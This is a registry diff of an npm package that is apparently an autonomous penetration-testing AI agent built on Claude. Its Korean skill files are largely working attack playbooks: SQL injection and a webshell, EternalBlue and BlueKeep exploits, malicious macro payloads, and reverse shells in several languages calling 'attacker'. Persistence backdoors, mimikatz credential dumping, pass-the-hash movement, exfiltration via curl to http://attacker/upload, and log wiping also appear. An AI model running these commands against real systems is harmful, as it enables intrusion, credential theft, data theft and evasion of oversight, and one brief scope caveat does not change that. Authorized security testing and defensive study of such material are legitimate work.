pentesting 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json ADDED
@@ -0,0 +1,74 @@
1
+ {
2
+ "name": "pentesting",
3
+ "version": "0.1.0",
4
+ "description": "Autonomous Penetration Testing AI Agent powered by Claude",
5
+ "type": "module",
6
+ "main": "dist/index.js",
7
+ "types": "dist/index.d.ts",
8
+ "bin": {
9
+ "pentesting": "dist/index.js"
10
+ },
11
+ "files": [
12
+ "dist",
13
+ "skills",
14
+ "README.md"
15
+ ],
16
+ "scripts": {
17
+ "dev": "tsx src/index.tsx",
18
+ "build": "tsup src/index.tsx --format esm --dts --clean",
19
+ "start": "node dist/index.js",
20
+ "lint": "tsc --noEmit",
21
+ "prepublishOnly": "npm run build"
22
+ },
23
+ "repository": {
24
+ "type": "git",
25
+ "url": "git+https://github.com/agnusdei1207/pentesting.git"
26
+ },
27
+ "homepage": "https://github.com/agnusdei1207/pentesting#readme",
28
+ "bugs": {
29
+ "url": "https://github.com/agnusdei1207/pentesting/issues"
30
+ },
31
+ "keywords": [
32
+ "penetration-testing",
33
+ "pentesting",
34
+ "security",
35
+ "hacking",
36
+ "hacker",
37
+ "ai",
38
+ "autonomous",
39
+ "claude",
40
+ "anthropic",
41
+ "tui",
42
+ "cli",
43
+ "nmap",
44
+ "metasploit",
45
+ "sqlmap",
46
+ "kali"
47
+ ],
48
+ "author": "agnusdei1207",
49
+ "license": "MIT",
50
+ "engines": {
51
+ "node": ">=18.0.0"
52
+ },
53
+ "dependencies": {
54
+ "@anthropic-ai/sdk": "^0.39.0",
55
+ "boxen": "^8.0.1",
56
+ "chalk": "^5.4.1",
57
+ "commander": "^13.1.0",
58
+ "figlet": "^1.8.0",
59
+ "gradient-string": "^3.0.0",
60
+ "ink": "^5.1.0",
61
+ "ink-spinner": "^5.0.0",
62
+ "ink-text-input": "^6.0.0",
63
+ "nanospinner": "^1.2.2",
64
+ "ora": "^8.1.1",
65
+ "react": "^18.3.1"
66
+ },
67
+ "devDependencies": {
68
+ "@types/node": "^22.13.1",
69
+ "@types/react": "^18.3.18",
70
+ "tsup": "^8.3.6",
71
+ "tsx": "^4.19.2",
72
+ "typescript": "^5.7.3"
73
+ }
74
+ }
@@ -0,0 +1,205 @@
1
+ ---
2
+ name: initial-access
3
+ description: 초기 접근 기법 - 외부에서 내부 네트워크 침투
4
+ ---
5
+
6
+ # Initial Access Skill
7
+
8
+ 외부 공격자 관점에서 타겟 네트워크에 초기 접근하는 기법입니다.
9
+
10
+ ## 🎯 목표
11
+ 외부에서 내부 네트워크로 최초 침투 (Initial Foothold)
12
+
13
+ ## 📋 공격 벡터
14
+
15
+ ### 1. 웹 애플리케이션 익스플로잇
16
+
17
+ #### SQL Injection
18
+ ```bash
19
+ # sqlmap 자동화
20
+ sqlmap -u "http://target.com/page?id=1" --batch --dbs
21
+ sqlmap -u "http://target.com/page?id=1" --batch -D dbname --tables
22
+ sqlmap -u "http://target.com/page?id=1" --batch -D dbname -T users --dump
23
+
24
+ # OS Shell 획득
25
+ sqlmap -u "http://target.com/page?id=1" --os-shell
26
+
27
+ # 수동 페이로드
28
+ ' OR '1'='1
29
+ ' UNION SELECT 1,2,3,4,5--
30
+ '; EXEC xp_cmdshell('whoami');--
31
+ ```
32
+
33
+ #### RCE (Remote Code Execution)
34
+ ```bash
35
+ # 파일 업로드
36
+ # PHP 웹쉘 업로드
37
+ echo '<?php system($_GET["cmd"]); ?>' > shell.php
38
+
39
+ # LFI to RCE
40
+ # Log poisoning
41
+ curl "http://target.com/page.php?file=../../../../var/log/apache2/access.log" -A "<?php system('id'); ?>"
42
+
43
+ # SSRF to RCE
44
+ # 내부 서비스 공격
45
+ curl "http://target.com/fetch?url=http://localhost:8080/admin/exec?cmd=id"
46
+ ```
47
+
48
+ #### Deserialization
49
+ ```bash
50
+ # Java
51
+ java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+Ji...}|{base64,-d}|{bash,-i}' > payload.ser
52
+
53
+ # Python Pickle
54
+ import pickle
55
+ import os
56
+ class RCE:
57
+ def __reduce__(self):
58
+ return (os.system, ('id',))
59
+ ```
60
+
61
+ ### 2. 외부 서비스 익스플로잇
62
+
63
+ #### SSH
64
+ ```bash
65
+ # 브루트포스
66
+ hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target
67
+
68
+ # 키 기반 공격
69
+ ssh-keyscan target > known_hosts
70
+ ```
71
+
72
+ #### SMB
73
+ ```bash
74
+ # 익스플로잇 (EternalBlue)
75
+ msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS target; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST attacker; run"
76
+
77
+ # 고스트 (CVE-2020-0796)
78
+ python3 CVE-2020-0796.py target
79
+ ```
80
+
81
+ #### RDP
82
+ ```bash
83
+ # 브루트포스
84
+ hydra -l administrator -P wordlist.txt rdp://target
85
+
86
+ # BlueKeep (CVE-2019-0708)
87
+ msfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS target; run"
88
+ ```
89
+
90
+ ### 3. 피싱 (Social Engineering)
91
+
92
+ #### 악성 문서
93
+ ```bash
94
+ # Office 매크로
95
+ # VBA 페이로드 생성
96
+ msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f vba-psh
97
+
98
+ # HTA 파일
99
+ msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f hta-psh > evil.hta
100
+ ```
101
+
102
+ #### 링크 기반
103
+ ```bash
104
+ # 악성 링크 생성
105
+ # Gophish 또는 SET 사용
106
+
107
+ # 크레덴셜 하베스팅
108
+ python3 -m http.server 80 # 피싱 페이지 호스팅
109
+ ```
110
+
111
+ ### 4. 공급망 공격
112
+
113
+ #### 패키지 오염
114
+ ```bash
115
+ # npm, pip, gem 등 악성 패키지 설치 유도
116
+ # 타이포스쿼팅: requests → reqeusts
117
+ ```
118
+
119
+ ### 5. 노출된 관리 인터페이스
120
+
121
+ #### Tomcat
122
+ ```bash
123
+ # 기본 자격증명
124
+ hydra -L users.txt -P passwords.txt target http-get /manager/html
125
+
126
+ # WAR 배포
127
+ msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker LPORT=4444 -f war > shell.war
128
+ curl --upload-file shell.war "http://admin:admin@target:8080/manager/text/deploy?path=/shell"
129
+ ```
130
+
131
+ #### Jenkins
132
+ ```bash
133
+ # 스크립트 콘솔 RCE
134
+ # Groovy 스크립트
135
+ String host="attacker";
136
+ int port=4444;
137
+ String cmd="/bin/bash";
138
+ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
139
+ ```
140
+
141
+ #### WordPress
142
+ ```bash
143
+ # wpscan
144
+ wpscan --url http://target.com -e u,vp --api-token=xxx
145
+
146
+ # 취약 플러그인 익스플로잇
147
+ msfconsole -q -x "search wordpress; use exploit/unix/webapp/wp_admin_shell_upload; set RHOSTS target; run"
148
+ ```
149
+
150
+ ## 🔄 리버스 쉘
151
+
152
+ ### Bash
153
+ ```bash
154
+ bash -i >& /dev/tcp/attacker/4444 0>&1
155
+ ```
156
+
157
+ ### Python
158
+ ```python
159
+ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
160
+ ```
161
+
162
+ ### PowerShell
163
+ ```powershell
164
+ powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
165
+ ```
166
+
167
+ ### PHP
168
+ ```php
169
+ php -r '$sock=fsockopen("attacker",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
170
+ ```
171
+
172
+ ### Netcat
173
+ ```bash
174
+ # 대상에서
175
+ nc -e /bin/bash attacker 4444
176
+
177
+ # -e 없으면
178
+ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker 4444 >/tmp/f
179
+ ```
180
+
181
+ ## 🛡️ 리스너 설정
182
+
183
+ ```bash
184
+ # Netcat
185
+ nc -lvnp 4444
186
+
187
+ # Metasploit
188
+ msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST eth0; set LPORT 4444; run"
189
+
190
+ # pwncat
191
+ pwncat -l 4444
192
+ ```
193
+
194
+ ## 📊 쉘 업그레이드
195
+
196
+ ```bash
197
+ # Python PTY
198
+ python -c 'import pty; pty.spawn("/bin/bash")'
199
+
200
+ # 완전한 TTY
201
+ python -c 'import pty; pty.spawn("/bin/bash")'
202
+ # Ctrl+Z
203
+ stty raw -echo; fg
204
+ export TERM=xterm
205
+ ```
@@ -0,0 +1,87 @@
1
+ ---
2
+ name: network-scanning
3
+ description: 네트워크 스캐닝 및 서비스 탐지 스킬
4
+ ---
5
+
6
+ # Network Scanning Skill
7
+
8
+ 네트워크 및 호스트에 대한 종합 스캐닝을 수행합니다.
9
+
10
+ ## 스캔 단계
11
+
12
+ ### 1. 호스트 발견
13
+ ```bash
14
+ # ICMP Ping Sweep
15
+ nmap -sn {{network}}/24
16
+
17
+ # ARP Scan (로컬 네트워크)
18
+ arp-scan -l
19
+
20
+ # TCP ACK Ping
21
+ nmap -PA {{target}}
22
+ ```
23
+
24
+ ### 2. 포트 스캔
25
+
26
+ #### Quick Scan (상위 1000 포트)
27
+ ```bash
28
+ nmap -F -T4 {{target}}
29
+ ```
30
+
31
+ #### Full TCP Scan
32
+ ```bash
33
+ nmap -p- -T4 {{target}}
34
+ ```
35
+
36
+ #### Stealth SYN Scan
37
+ ```bash
38
+ nmap -sS -T2 {{target}}
39
+ ```
40
+
41
+ #### UDP Scan
42
+ ```bash
43
+ nmap -sU --top-ports 100 {{target}}
44
+ ```
45
+
46
+ ### 3. 서비스 버전 탐지
47
+ ```bash
48
+ nmap -sV -sC {{target}}
49
+ ```
50
+
51
+ ### 4. OS 탐지
52
+ ```bash
53
+ nmap -O {{target}}
54
+ ```
55
+
56
+ ### 5. 취약점 스크립트
57
+ ```bash
58
+ nmap --script vuln {{target}}
59
+ nmap --script "safe and default" {{target}}
60
+ ```
61
+
62
+ ## 대안 도구
63
+
64
+ ### Masscan (대규모 스캔)
65
+ ```bash
66
+ masscan -p1-65535 {{target}} --rate=10000
67
+ ```
68
+
69
+ ### RustScan (빠른 스캔)
70
+ ```bash
71
+ rustscan -a {{target}} -- -sV -sC
72
+ ```
73
+
74
+ ## 결과 분석
75
+
76
+ 각 발견된 서비스에 대해:
77
+ 1. 포트/프로토콜
78
+ 2. 서비스 이름
79
+ 3. 버전 정보
80
+ 4. 알려진 취약점 확인
81
+ 5. 추가 열거 필요 여부
82
+
83
+ ## 다음 단계
84
+
85
+ - 각 서비스별 상세 열거
86
+ - CVE 검색 및 매핑
87
+ - 익스플로잇 가능성 평가
@@ -0,0 +1,301 @@
1
+ ---
2
+ name: post-exploitation
3
+ description: 포스트 익스플로잇 - 지속성, 측면 이동, 데이터 수집
4
+ ---
5
+
6
+ # Post-Exploitation Skill
7
+
8
+ 초기 침투 후 네트워크 내에서 확장하고 목표를 달성하는 기법입니다.
9
+
10
+ ## 🎯 목표
11
+ - 지속적 접근 확보 (Persistence)
12
+ - 측면 이동 (Lateral Movement)
13
+ - 데이터 수집 및 유출 (Data Exfiltration)
14
+ - 목표 달성 (Actions on Objectives)
15
+
16
+ ## 📋 1. 상황 인식 (Situational Awareness)
17
+
18
+ ### Linux
19
+ ```bash
20
+ # 시스템 정보
21
+ hostname && whoami && id
22
+ uname -a
23
+ cat /etc/passwd
24
+ cat /etc/shadow 2>/dev/null
25
+
26
+ # 네트워크
27
+ ip a
28
+ netstat -tulpn
29
+ ss -tulpn
30
+ cat /etc/hosts
31
+ arp -a
32
+
33
+ # 다른 사용자
34
+ w
35
+ last
36
+ cat /home/*/.bash_history 2>/dev/null
37
+ ```
38
+
39
+ ### Windows
40
+ ```powershell
41
+ # 시스템 정보
42
+ hostname && whoami && whoami /priv
43
+ systeminfo
44
+
45
+ # 네트워크
46
+ ipconfig /all
47
+ netstat -ano
48
+ arp -a
49
+
50
+ # 도메인 정보
51
+ net user /domain
52
+ net group "Domain Admins" /domain
53
+ nltest /dclist:
54
+ ```
55
+
56
+ ## 📋 2. 지속성 (Persistence)
57
+
58
+ ### Linux
59
+ ```bash
60
+ # SSH 키
61
+ mkdir -p ~/.ssh
62
+ echo "ssh-rsa YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
63
+ chmod 600 ~/.ssh/authorized_keys
64
+
65
+ # Cron Job
66
+ (crontab -l 2>/dev/null; echo "* * * * * /tmp/backdoor.sh") | crontab -
67
+
68
+ # Systemd 서비스
69
+ cat > /etc/systemd/system/backdoor.service << EOF
70
+ [Unit]
71
+ Description=Backdoor
72
+
73
+ [Service]
74
+ ExecStart=/tmp/backdoor.sh
75
+ Restart=always
76
+
77
+ [Install]
78
+ WantedBy=multi-user.target
79
+ EOF
80
+ systemctl enable backdoor
81
+ systemctl start backdoor
82
+
83
+ # bashrc
84
+ echo 'bash -i >& /dev/tcp/attacker/4444 0>&1 &' >> ~/.bashrc
85
+ ```
86
+
87
+ ### Windows
88
+ ```powershell
89
+ # Registry Run Key
90
+ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\backdoor.exe"
91
+
92
+ # Scheduled Task
93
+ schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM
94
+
95
+ # WMI Event Subscription
96
+ $FilterArgs = @{
97
+ EventNamespace = 'root/cimv2'
98
+ Name = 'Backdoor'
99
+ Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
100
+ }
101
+ $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs
102
+
103
+ # 서비스
104
+ sc create Backdoor binPath= "C:\backdoor.exe" start= auto
105
+
106
+ # 골든 티켓 (도메인 관리자)
107
+ kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:{{krbtgt_hash}} /ticket:golden.kirbi
108
+ ```
109
+
110
+ ## 📋 3. 측면 이동 (Lateral Movement)
111
+
112
+ ### SMB 기반
113
+ ```bash
114
+ # psexec
115
+ impacket-psexec domain/user:password@target
116
+ impacket-psexec -hashes :{{ntlm_hash}} domain/user@target
117
+
118
+ # wmiexec
119
+ impacket-wmiexec domain/user:password@target
120
+
121
+ # smbexec
122
+ impacket-smbexec domain/user:password@target
123
+
124
+ # CrackMapExec
125
+ crackmapexec smb targets.txt -u user -p password -x 'whoami'
126
+ crackmapexec smb targets.txt -u user -H {{ntlm_hash}} -x 'whoami'
127
+ ```
128
+
129
+ ### WinRM
130
+ ```powershell
131
+ # PowerShell Remoting
132
+ Enter-PSSession -ComputerName target -Credential domain\user
133
+
134
+ # Evil-WinRM
135
+ evil-winrm -i target -u user -p password
136
+ evil-winrm -i target -u user -H {{ntlm_hash}}
137
+ ```
138
+
139
+ ### SSH
140
+ ```bash
141
+ # 키 재사용
142
+ ssh -i id_rsa user@target
143
+
144
+ # 에이전트 포워딩
145
+ ssh-add ~/.ssh/id_rsa
146
+ ssh -A user@target
147
+ ```
148
+
149
+ ### RDP
150
+ ```bash
151
+ # xfreerdp
152
+ xfreerdp /u:user /p:password /v:target
153
+
154
+ # Pass-the-Hash RDP (Restricted Admin Mode)
155
+ xfreerdp /u:user /pth:{{ntlm_hash}} /v:target
156
+ ```
157
+
158
+ ## 📋 4. 피벗팅 (Pivoting)
159
+
160
+ ### SSH 터널
161
+ ```bash
162
+ # 로컬 포트 포워딩
163
+ ssh -L 8080:internal_target:80 user@pivot_host
164
+
165
+ # 동적 SOCKS 프록시
166
+ ssh -D 1080 user@pivot_host
167
+ proxychains nmap -sT internal_target
168
+
169
+ # 리버스 터널
170
+ ssh -R 4444:localhost:4444 user@pivot_host
171
+ ```
172
+
173
+ ### Chisel
174
+ ```bash
175
+ # 서버 (공격자)
176
+ chisel server -p 8000 --reverse
177
+
178
+ # 클라이언트 (피해자에서)
179
+ chisel client attacker:8000 R:socks
180
+ # proxychains 설정 후 내부 네트워크 접근
181
+ ```
182
+
183
+ ### Ligolo-ng
184
+ ```bash
185
+ # 프록시 (공격자)
186
+ ligolo-proxy -selfcert
187
+
188
+ # 에이전트 (피해자)
189
+ ligolo-agent -connect attacker:11601 -ignore-cert
190
+
191
+ # 세션 선택 후 터널 시작
192
+ session
193
+ start
194
+ ```
195
+
196
+ ### Metasploit
197
+ ```bash
198
+ # 라우트 추가
199
+ meterpreter > run autoroute -s 192.168.1.0/24
200
+
201
+ # SOCKS 프록시
202
+ meterpreter > run auxiliary/server/socks_proxy
203
+ ```
204
+
205
+ ## 📋 5. 자격증명 수집
206
+
207
+ ### Linux
208
+ ```bash
209
+ # Shadow 파일
210
+ cat /etc/shadow
211
+
212
+ # SSH 키
213
+ ls -la /home/*/.ssh/
214
+ cat /home/*/.ssh/id_rsa
215
+
216
+ # 히스토리
217
+ cat /home/*/.bash_history
218
+ cat /root/.bash_history
219
+
220
+ # 설정 파일
221
+ grep -r "password" /etc/ 2>/dev/null
222
+ find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
223
+ ```
224
+
225
+ ### Windows
226
+ ```powershell
227
+ # Mimikatz
228
+ sekurlsa::logonpasswords
229
+ sekurlsa::wdigest
230
+ lsadump::sam
231
+ lsadump::lsa /patch
232
+
233
+ # SAM 덤프
234
+ reg save hklm\sam sam.hive
235
+ reg save hklm\system system.hive
236
+ # secretsdump.py로 추출
237
+
238
+ # LSASS 덤프
239
+ procdump.exe -ma lsass.exe lsass.dmp
240
+ # mimikatz로 분석
241
+ sekurlsa::minidump lsass.dmp
242
+ sekurlsa::logonpasswords
243
+
244
+ # DPAPI
245
+ mimikatz dpapi::cred /in:"%appdata%\Microsoft\Credentials\*"
246
+
247
+ # 브라우저 자격증명
248
+ .\SharpChrome.exe logins
249
+ .\SharpWeb.exe all
250
+ ```
251
+
252
+ ## 📋 6. 데이터 유출 (Exfiltration)
253
+
254
+ ### HTTP/HTTPS
255
+ ```bash
256
+ # 공격자 서버
257
+ python3 -m http.server 80
258
+
259
+ # 피해자에서
260
+ curl -F "file=@data.zip" http://attacker/upload
261
+ wget --post-file=data.zip http://attacker/upload
262
+ ```
263
+
264
+ ### DNS
265
+ ```bash
266
+ # DNSExfiltrator
267
+ python dnsexfiltrator.py -d attacker.com -f data.zip
268
+ ```
269
+
270
+ ### 압축 및 암호화
271
+ ```bash
272
+ # 데이터 압축
273
+ zip -r -P password data.zip /path/to/data
274
+ tar czvf data.tar.gz /path/to/data
275
+
276
+ # 암호화
277
+ openssl enc -aes-256-cbc -in data.zip -out data.enc -k password
278
+ ```
279
+
280
+ ## 📋 7. 정리 (Cleanup)
281
+
282
+ ```bash
283
+ # Linux
284
+ history -c
285
+ rm ~/.bash_history
286
+ rm /var/log/auth.log
287
+ rm /var/log/secure
288
+
289
+ # Windows
290
+ wevtutil cl Security
291
+ wevtutil cl System
292
+ wevtutil cl Application
293
+ Remove-Item (Get-PSReadlineOption).HistorySavePath
294
+ ```
295
+
296
+ ## ⚠️ 주의사항
297
+
298
+ - 항상 승인된 범위 내에서 작업
299
+ - 민감 데이터 처리 시 암호화
300
+ - 로그 및 아티팩트 관리
301
+ - 탐지 회피 vs 탐지 가능성 인지